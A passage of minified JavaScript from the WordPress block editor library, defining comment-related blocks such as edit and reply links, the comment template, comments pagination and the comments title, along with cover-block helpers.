1.96A.792.792 0 0 1 4 13.524V5a1 1 0 0 1 1-1h8a1 1 0 0 1 1 1v1.5L12.5 8V5.5h-7v6.315l.749-.75ZM20 19.75H7v-1.5h13v1.5Zm0-12.653-8.967 9.064L8 17l.867-2.935L17.833 5 20 7.097Z"})),ga={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-edit-link",title:"Comment Edit Link",category:"theme",ancestor:["core/comment-template"],description:"Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",textdomain:"default",usesContext:["commentId"],attributes:{linkTarget:{type:"string",default:"_self"},textAlign:{type:"string"}},supports:{html:!1,color:{link:!0,gradients:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:ha}=ga,va={icon:pa,edit:function(e){let{attributes:{linkTarget:t,textAlign:n},setAttributes:o}=e;const a=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${n}`]:n})}),r=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:n,onChange:e=>o({textAlign:e})})),l=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>o({linkTarget:e?"_blank":"_self"}),checked:"_blank"===t})));return(0,$e.createElement)($e.Fragment,null,r,l,(0,$e.createElement)("div",a,(0,$e.createElement)("a",{href:"#edit-comment-pseudo-link",onClick:e=>e.preventDefault()},(0,je.__)("Edit"))))}},ba=()=>qe({name:ha,metadata:ga,settings:va}),_a=(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M6.68822 10.625L6.24878 11.0649L5.5 11.8145L5.5 5.5L12.5 5.5V8L14 6.5V5C14 4.44772 13.5523 4 13 4H5C4.44772 4 4 4.44771 4 5V13.5247C4 13.8173 4.16123 14.086 4.41935 14.2237C4.72711 14.3878 5.10601 14.3313 5.35252 14.0845L7.31 12.125H8.375L9.875 10.625H7.31H6.68822ZM14.5605 10.4983L11.6701 13.75H16.9975C17.9963 13.75 18.7796 14.1104 19.3553 14.7048C19.9095 15.2771 20.2299 16.0224 20.4224 16.7443C20.7645 18.0276 20.7543 19.4618 20.7487 20.2544C20.7481 20.345 20.7475 20.4272 20.7475 20.4999L19.2475 20.5001C19.2475 20.4191 19.248 20.3319 19.2484 20.2394V20.2394C19.2526 19.4274 19.259 18.2035 18.973 17.1307C18.8156 16.5401 18.586 16.0666 18.2778 15.7483C17.9909 15.4521 17.5991 15.25 16.9975 15.25H11.8106L14.5303 17.9697L13.4696 19.0303L8.96956 14.5303L13.4394 9.50171L14.5605 10.4983Z"})),ya={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-reply-link",title:"Comment Reply Link",category:"theme",ancestor:["core/comment-template"],description:"Displays a link to reply to a comment.",textdomain:"default",usesContext:["commentId"],attributes:{textAlign:{type:"string"}},supports:{color:{gradients:!0,link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},html:!1}},{name:fa}=ya,ka={edit:function(e){let{setAttributes:t,attributes:{textAlign:n}}=e;const o=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${n}`]:n})}),a=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:n,onChange:e=>t({textAlign:e})}));return(0,$e.createElement)($e.Fragment,null,a,(0,$e.createElement)("div",o,(0,$e.createElement)("a",{href:"#comment-reply-pseudo-link",onClick:e=>e.preventDefault()},(0,je.__)("Reply"))))},icon:_a},xa=()=>qe({name:fa,metadata:ya,settings:ka}),wa=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),Ea=window.wp.apiFetch;var Ca=n.n(Ea);const Sa=[["core/avatar"],["core/comment-author-name"],["core/comment-date"],["core/comment-content"],["core/comment-reply-link"],["core/comment-edit-link"]];function Ba(e){var t;let{comment:n,activeCommentId:o,setActiveCommentId:a,firstCommentId:r,blocks:l}=e;const{children:i,...s}=(0,Ze.useInnerBlocksProps)({},{template:Sa});return(0,$e.createElement)("li",s,n.commentId===(o||r)?i:null,(0,$e.createElement)(Ta,{blocks:l,commentId:n.commentId,setActiveCommentId:a,isHidden:n.commentId===(o||r)}),(null==n||null===(t=n.children)||void 0===t?void 0:t.length)>0?(0,$e.createElement)(Na,{comments:n.children,activeCommentId:o,setActiveCommentId:a,blocks:l,firstCommentId:r}):null)}const Ta=(0,$e.memo)((e=>{let{blocks:t,commentId:n,setActiveCommentId:o,isHidden:a}=e;const r=(0,Ze.__experimentalUseBlockPreview)({blocks:t}),l=()=>{o(n)},i={display:a?"none":void 0};return(0,$e.createElement)("div",nt({},r,{tabIndex:0,role:"button",style:i,onClick:l,onKeyPress:l}))})),Na=e=>{let{comments:t,blockProps:n,activeCommentId:o,setActiveCommentId:a,blocks:r,firstCommentId:l}=e;return(0,$e.createElement)("ol",n,t&&t.map(((e,t)=>{let{commentId:n,...i}=e;return(0,$e.createElement)(Ze.BlockContextProvider,{key:i.commentId||t,value:{commentId:n<0?null:n}},(0,$e.createElement)(Ba,{comment:{commentId:n,...i},activeCommentId:o,setActiveCommentId:a,blocks:r,firstCommentId:l}))})))},Pa={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-template",title:"Comment Template",category:"design",parent:["core/comments"],description:"Contains the block elements used to display a comment, like the title, date, author, avatar and more.",textdomain:"default",usesContext:["postId"],supports:{reusable:!1,html:!1,align:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-comment-template"},{name:Ia}=Pa,za={icon:wa,edit:function(e){var t;let{clientId:n,context:{postId:o}}=e;const a=(0,Ze.useBlockProps)(),[r,l]=(0,$e.useState)(),{commentOrder:i,threadCommentsDepth:s,threadComments:c,commentsPerPage:u}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store);return t().__experimentalDiscussionSettings})),m=(e=>{let{postId:t}=e;const n={status:"approve",order:"asc",context:"embed",parent:0,_embed:"children"},{pageComments:o,commentsPerPage:a,defaultCommentsPage:r}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store),{__experimentalDiscussionSettings:n}=t();return n})),l=o?Math.min(a,100):100,i=(e=>{let{defaultPage:t,postId:n,perPage:o,queryArgs:a}=e;const[r,l]=(0,$e.useState)({}),i=`${n}_${o}`,s=r[i]||0;return(0,$e.useEffect)((()=>{s||"newest"!==t||Ca()({path:(0,rt.addQueryArgs)("/wp/v2/comments",{...a,post:n,per_page:o,_fields:"id"}),method:"HEAD",parse:!1}).then((e=>{const t=parseInt(e.headers.get("X-WP-TotalPages"));l({...r,[i]:t<=1?1:t})}))}),[t,n,o,l]),"newest"===t?s:1})({defaultPage:r,postId:t,perPage:l,queryArgs:n});return(0,$e.useMemo)((()=>i?{...n,post:t,per_page:l,page:i}:null),[t,l,i])})({postId:o}),{topLevelComments:d,blocks:p}=(0,it.useSelect)((e=>{const{getEntityRecords:t}=e(lt.store),{getBlocks:o}=e(Ze.store);return{topLevelComments:m?t("root","comment",m):null,blocks:o(n)}}),[n,m]);let g=(e=>(0,$e.useMemo)((()=>null==e?void 0:e.map((e=>{let{id:t,_embedded:n}=e;const[o]=(null==n?void 0:n.children)||[[]];return{commentId:t,children:o.map((e=>({commentId:e.id})))}}))),[e]))("desc"===i&&d?[...d].reverse():d);return d?(o||(g=(e=>{let{perPage:t,threadComments:n,threadCommentsDepth:o}=e;const a=Math.min(o||3,3),r=t<=a?t:a;return n&&1!==r?2===r?[{commentId:-1,children:[{commentId:-2,children:[]}]}]:[{commentId:-1,children:[{commentId:-2,children:[{commentId:-3,children:[]}]}]}]:[{commentId:-1,children:[]}]})({perPage:u,threadComments:c,threadCommentsDepth:s})),g.length?(0,$e.createElement)(Na,{comments:g,blockProps:a,blocks:p,activeCommentId:r,setActiveCommentId:l,firstCommentId:null===(t=g[0])||void 0===t?void 0:t.commentId}):(0,$e.createElement)("p",a,(0,je.__)("No results found."))):(0,$e.createElement)("p",a,(0,$e.createElement)(We.Spinner,null))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)}},Ma=()=>qe({name:Ia,metadata:Pa,settings:za}),La=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M16 10.5v3h3v-3h-3zm-5 3h3v-3h-3v3zM7 9l-3 3 3 3 1-1-2-2 2-2-1-1z"})),Ra={none:"",arrow:"←",chevron:"«"},Aa={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-pagination-previous",title:"Comments Previous Page",category:"theme",parent:["core/comments-pagination"],description:"Displays the previous comment's page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["postId","comments/paginationArrow"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Va}=Aa,Ha={icon:La,edit:function(e){let{attributes:{label:t},setAttributes:n,context:{"comments/paginationArrow":o}}=e;const a=Ra[o];return(0,$e.createElement)("a",nt({href:"#comments-pagination-previous-pseudo-link",onClick:e=>e.preventDefault()},(0,Ze.useBlockProps)()),a&&(0,$e.createElement)("span",{className:`wp-block-comments-pagination-previous-arrow is-arrow-${o}`},a),(0,$e.createElement)(Ze.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,je.__)("Older comments page link"),placeholder:(0,je.__)("Older Comments"),value:t,onChange:e=>n({label:e})}))}},Da=()=>qe({name:Va,metadata:Aa,settings:Ha}),Fa=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 13.5h6v-3H4v3zm8 0h3v-3h-3v3zm5-3v3h3v-3h-3z"}));function Ga(e){let{value:t,onChange:n}=e;return(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:(0,je.__)("Arrow"),value:t,onChange:n,help:(0,je.__)("A decorative arrow appended to the next and previous comments link."),isBlock:!0},(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"none",label:(0,je._x)("None","Arrow option for Comments Pagination Next/Previous blocks")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,je._x)("Arrow","Arrow option for Comments Pagination Next/Previous blocks")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,je._x)("Chevron","Arrow option for Comments Pagination Next/Previous blocks")}))}const $a=[["core/comments-pagination-previous"],["core/comments-pagination-numbers"],["core/comments-pagination-next"]],Ua=["core/comments-pagination-previous","core/comments-pagination-numbers","core/comments-pagination-next"],Oa={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-pagination",title:"Comments Pagination",category:"theme",parent:["core/comments"],description:"Displays a paginated navigation to next/previous set of comments, when applicable.",textdomain:"default",attributes:{paginationArrow:{type:"string",default:"none"}},providesContext:{"comments/paginationArrow":"paginationArrow"},supports:{align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-comments-pagination-editor",style:"wp-block-comments-pagination"},{name:qa}=Oa,Wa={icon:Fa,edit:function(e){let{attributes:{paginationArrow:t,layout:n},setAttributes:o,clientId:a,name:r}=e;const l=n||(e=>{const t=(0,Ge.getBlockSupport)(e,"__experimentalLayout");return null==t?void 0:t.default})(r),i=(0,it.useSelect)((e=>{const{getBlocks:t}=e(Ze.store),n=t(a);return null==n?void 0:n.find((e=>["core/comments-pagination-previous","core/comments-pagination-next"].includes(e.name)))}),[]),s=(0,Ze.useBlockProps)(),c=(0,Ze.useInnerBlocksProps)(s,{template:$a,allowedBlocks:Ua,__experimentalLayout:l});return(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store),{__experimentalDiscussionSettings:n}=t();return null==n?void 0:n.pageComments}),[])?(0,$e.createElement)($e.Fragment,null,i&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(Ga,{value:t,onChange:e=>{o({paginationArrow:e})}}))),(0,$e.createElement)("div",c)):(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Comments Pagination block: paging comments is disabled in the Discussion Settings"))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)}},ja=()=>qe({name:qa,metadata:Oa,settings:Wa}),Za=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M5 13.5h3v-3H5v3zm5 0h3v-3h-3v3zM17 9l-1 1 2 2-2 2 1 1 3-3-3-3z"})),Qa={none:"",arrow:"→",chevron:"»"},Ka={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-pagination-next",title:"Comments Next Page",category:"theme",parent:["core/comments-pagination"],description:"Displays the next comment's page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["postId","comments/paginationArrow"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Ya}=Ka,Ja={icon:Za,edit:function(e){let{attributes:{label:t},setAttributes:n,context:{"comments/paginationArrow":o}}=e;const a=Qa[o];return(0,$e.createElement)("a",nt({href:"#comments-pagination-next-pseudo-link",onClick:e=>e.preventDefault()},(0,Ze.useBlockProps)()),(0,$e.createElement)(Ze.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,je.__)("Newer comments page link"),placeholder:(0,je.__)("Newer Comments"),value:t,onChange:e=>n({label:e})}),a&&(0,$e.createElement)("span",{className:`wp-block-comments-pagination-next-arrow is-arrow-${o}`},a))}},Xa=()=>qe({name:Ya,metadata:Ka,settings:Ja}),er=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 13.5h6v-3H4v3zm8.2-2.5.8-.3V14h1V9.3l-2.2.7.4 1zm7.1-1.2c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3-.1-.8-.3-1.1z"})),tr=e=>{let{content:t,tag:n="a",extraClass:o=""}=e;return"a"===n?(0,$e.createElement)(n,{className:`page-numbers ${o}`,href:"#comments-pagination-numbers-pseudo-link",onClick:e=>e.preventDefault()},t):(0,$e.createElement)(n,{className:`page-numbers ${o}`},t)},nr={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-pagination-numbers",title:"Comments Page Numbers",category:"theme",parent:["core/comments-pagination"],description:"Displays a list of page numbers for comments pagination.",textdomain:"default",usesContext:["postId"],supports:{reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:or}=nr,ar={icon:er,edit:function(){return(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)(tr,{content:"1"}),(0,$e.createElement)(tr,{content:"2"}),(0,$e.createElement)(tr,{content:"3",tag:"span",extraClass:"current"}),(0,$e.createElement)(tr,{content:"4"}),(0,$e.createElement)(tr,{content:"5"}),(0,$e.createElement)(tr,{content:"...",tag:"span",extraClass:"dots"}),(0,$e.createElement)(tr,{content:"8"}))}},rr=()=>qe({name:or,metadata:nr,settings:ar}),lr=(0,$e.createElement)(Ue.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 5.417h2.267V12h1.466V5.417H10V4H4v1.417ZM20 16H4v-1.5h16V16Zm-7 4H4v-1.5h9V20Z"}));function ir(e){let{level:t,isPressed:n=!1}=e;const o={1:"M9 5h2v10H9v-4H5v4H3V5h2v4h4V5zm6.6 0c-.6.9-1.5 1.7-2.6 2v1h2v7h2V5h-1.4z",2:"M7 5h2v10H7v-4H3v4H1V5h2v4h4V5zm8 8c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6V15h8v-2H15z",3:"M12.1 12.2c.4.3.8.5 1.2.7.4.2.9.3 1.4.3.5 0 1-.1 1.4-.3.3-.1.5-.5.5-.8 0-.2 0-.4-.1-.6-.1-.2-.3-.3-.5-.4-.3-.1-.7-.2-1-.3-.5-.1-1-.1-1.5-.1V9.1c.7.1 1.5-.1 2.2-.4.4-.2.6-.5.6-.9 0-.3-.1-.6-.4-.8-.3-.2-.7-.3-1.1-.3-.4 0-.8.1-1.1.3-.4.2-.7.4-1.1.6l-1.2-1.4c.5-.4 1.1-.7 1.6-.9.5-.2 1.2-.3 1.8-.3.5 0 1 .1 1.6.2.4.1.8.3 1.2.5.3.2.6.5.8.8.2.3.3.7.3 1.1 0 .5-.2.9-.5 1.3-.4.4-.9.7-1.5.9v.1c.6.1 1.2.4 1.6.8.4.4.7.9.7 1.5 0 .4-.1.8-.3 1.2-.2.4-.5.7-.9.9-.4.3-.9.4-1.3.5-.5.1-1 .2-1.6.2-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1l1.1-1.4zM7 9H3V5H1v10h2v-4h4v4h2V5H7v4z",4:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm10-2h-1v2h-2v-2h-5v-2l4-6h3v6h1v2zm-3-2V7l-2.8 4H16z",5:"M12.1 12.2c.4.3.7.5 1.1.7.4.2.9.3 1.3.3.5 0 1-.1 1.4-.4.4-.3.6-.7.6-1.1 0-.4-.2-.9-.6-1.1-.4-.3-.9-.4-1.4-.4H14c-.1 0-.3 0-.4.1l-.4.1-.5.2-1-.6.3-5h6.4v1.9h-4.3L14 8.8c.2-.1.5-.1.7-.2.2 0 .5-.1.7-.1.5 0 .9.1 1.4.2.4.1.8.3 1.1.6.3.2.6.6.8.9.2.4.3.9.3 1.4 0 .5-.1 1-.3 1.4-.2.4-.5.8-.9 1.1-.4.3-.8.5-1.3.7-.5.2-1 .3-1.5.3-.8 0-1.6-.1-2.3-.4-.6-.2-1.1-.6-1.6-1-.1-.1 1-1.5 1-1.5zM9 15H7v-4H3v4H1V5h2v4h4V5h2v10z",6:"M9 15H7v-4H3v4H1V5h2v4h4V5h2v10zm8.6-7.5c-.2-.2-.5-.4-.8-.5-.6-.2-1.3-.2-1.9 0-.3.1-.6.3-.8.5l-.6.9c-.2.5-.2.9-.2 1.4.4-.3.8-.6 1.2-.8.4-.2.8-.3 1.3-.3.4 0 .8 0 1.2.2.4.1.7.3 1 .6.3.3.5.6.7.9.2.4.3.8.3 1.3s-.1.9-.3 1.4c-.2.4-.5.7-.8 1-.4.3-.8.5-1.2.6-1 .3-2 .3-3 0-.5-.2-1-.5-1.4-.9-.4-.4-.8-.9-1-1.5-.2-.6-.3-1.3-.3-2.1s.1-1.6.4-2.3c.2-.6.6-1.2 1-1.6.4-.4.9-.7 1.4-.9.6-.3 1.1-.4 1.7-.4.7 0 1.4.1 2 .3.5.2 1 .5 1.4.8 0 .1-1.3 1.4-1.3 1.4zm-2.4 5.8c.2 0 .4 0 .6-.1.2 0 .4-.1.5-.2.1-.1.3-.3.4-.5.1-.2.1-.5.1-.7 0-.4-.1-.8-.4-1.1-.3-.2-.7-.3-1.1-.3-.3 0-.7.1-1 .2-.4.2-.7.4-1 .7 0 .3.1.7.3 1 .1.2.3.4.4.6.2.1.3.3.5.3.2.1.5.2.7.1z"};return o.hasOwnProperty(t)?(0,$e.createElement)(We.SVG,{width:"24",height:"24",viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg",isPressed:n},(0,$e.createElement)(We.Path,{d:o[t]})):null}const sr=[1,2,3,4,5,6],cr={className:"block-library-heading-level-dropdown"};function ur(e){let{selectedLevel:t,onChange:n}=e;return(0,$e.createElement)(We.ToolbarDropdownMenu,{popoverProps:cr,icon:(0,$e.createElement)(ir,{level:t}),label:(0,je.__)("Change heading level"),controls:sr.map((e=>{{const o=e===t;return{icon:(0,$e.createElement)(ir,{level:e,isPressed:o}),label:(0,je.sprintf)(// translators: %s: heading level e.g: "1", "2", "3"
(0,je.__)("Heading %d"),e),isActive:o,onClick(){n(e)},role:"menuitemradio"}}}))})}const{attributes:mr,supports:dr}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-title",title:"Comments Title",category:"theme",ancestor:["core/comments"],description:"Displays a title with the number of comments",textdomain:"default",usesContext:["postId","postType"],attributes:{textAlign:{type:"string"},showPostTitle:{type:"boolean",default:!0},showCommentsCount:{type:"boolean",default:!0},level:{type:"number",default:2}},supports:{anchor:!1,align:!0,html:!1,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0}}}},pr=[{attributes:{...mr,singleCommentLabel:{type:"string"},multipleCommentsLabel:{type:"string"}},supports:dr,migrate:e=>{const{singleCommentLabel:t,multipleCommentsLabel:n,...o}=e;return o},isEligible:e=>{let{multipleCommentsLabel:t,singleCommentLabel:n}=e;return t||n},save:()=>null}],gr={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments-title",title:"Comments Title",category:"theme",ancestor:["core/comments"],description:"Displays a title with the number of comments",textdomain:"default",usesContext:["postId","postType"],attributes:{textAlign:{type:"string"},showPostTitle:{type:"boolean",default:!0},showCommentsCount:{type:"boolean",default:!0},level:{type:"number",default:2}},supports:{anchor:!1,align:!0,html:!1,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0}}}},{name:hr}=gr,vr={icon:lr,edit:function(e){let{attributes:{textAlign:t,showPostTitle:n,showCommentsCount:o,level:a},setAttributes:r,context:{postType:l,postId:i}}=e;const s="h"+a,[c,u]=(0,$e.useState)(),[m]=(0,lt.useEntityProp)("postType",l,"title",i),d=void 0===i,p=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${t}`]:t})});(0,$e.useEffect)((()=>{if(d)return void u(3);const e=i;Ca()({path:(0,rt.addQueryArgs)("/wp/v2/comments",{post:i,_fields:"id"}),method:"HEAD",parse:!1}).then((t=>{e===i&&u(parseInt(t.headers.get("X-WP-Total")))})).catch((()=>{u(0)}))}),[i]);const g=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:t,onChange:e=>r({textAlign:e})}),(0,$e.createElement)(ur,{selectedLevel:a,onChange:e=>r({level:e})})),h=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show post title"),checked:n,onChange:e=>r({showPostTitle:e})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show comments count"),checked:o,onChange:e=>r({showCommentsCount:e})}))),v=d?(0,je.__)("“Post Title”"):`"${m}"`;let b;
/* translators: %s: Post title. */
return b=o&&void 0!==c?n?1===c?(0,je.sprintf)((0,je.__)("One response to %s"),v):(0,je.sprintf)(
/* translators: 1: Number of comments, 2: Post title. */
(0,je._n)("%1$s response to %2$s","%1$s responses to %2$s",c),c,v):1===c?(0,je.__)("One response"):(0,je.sprintf)(
/* translators: %s: Number of comments. */
(0,je._n)("%s response","%s responses",c),c):n?1===c?(0,je.sprintf)((0,je.__)("Response to %s"),v):(0,je.sprintf)((0,je.__)("Responses to %s"),v):1===c?(0,je.__)("Response"):(0,je.__)("Responses"),(0,$e.createElement)($e.Fragment,null,g,h,(0,$e.createElement)(s,p,b))},deprecated:pr},br=()=>qe({name:hr,metadata:gr,settings:vr}),_r=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h6.2v8.9l2.5-3.1 2.5 3.1V4.5h2.2c.4 0 .8.4.8.8v13.4z"})),yr={"top left":"is-position-top-left","top center":"is-position-top-center","top right":"is-position-top-right","center left":"is-position-center-left","center center":"is-position-center-center",center:"is-position-center-center","center right":"is-position-center-right","bottom left":"is-position-bottom-left","bottom center":"is-position-bottom-center","bottom right":"is-position-bottom-right"},fr="image",kr="video",xr={x:.5,y:.5},wr=["image","video"];function Er(){let{x:e,y:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:xr;return`${Math.round(100*e)}% ${Math.round(100*t)}%`}function Cr(e){return 50===e||void 0===!e?null:"has-background-dim-"+10*Math.round(e/10)}function Sr(e){return!e||"center center"===e||"center"===e}function Br(e){return Sr(e)?"":yr[e]}function Tr(e){return e?{backgroundImage:`url(${e})`}:{}}function Nr(e){return 0!==e&&50!==e&&e?"has-background-dim-"+10*Math.round(e/10):null}function Pr(e){return{...e,dimRatio:e.url?e.dimRatio:100}}const 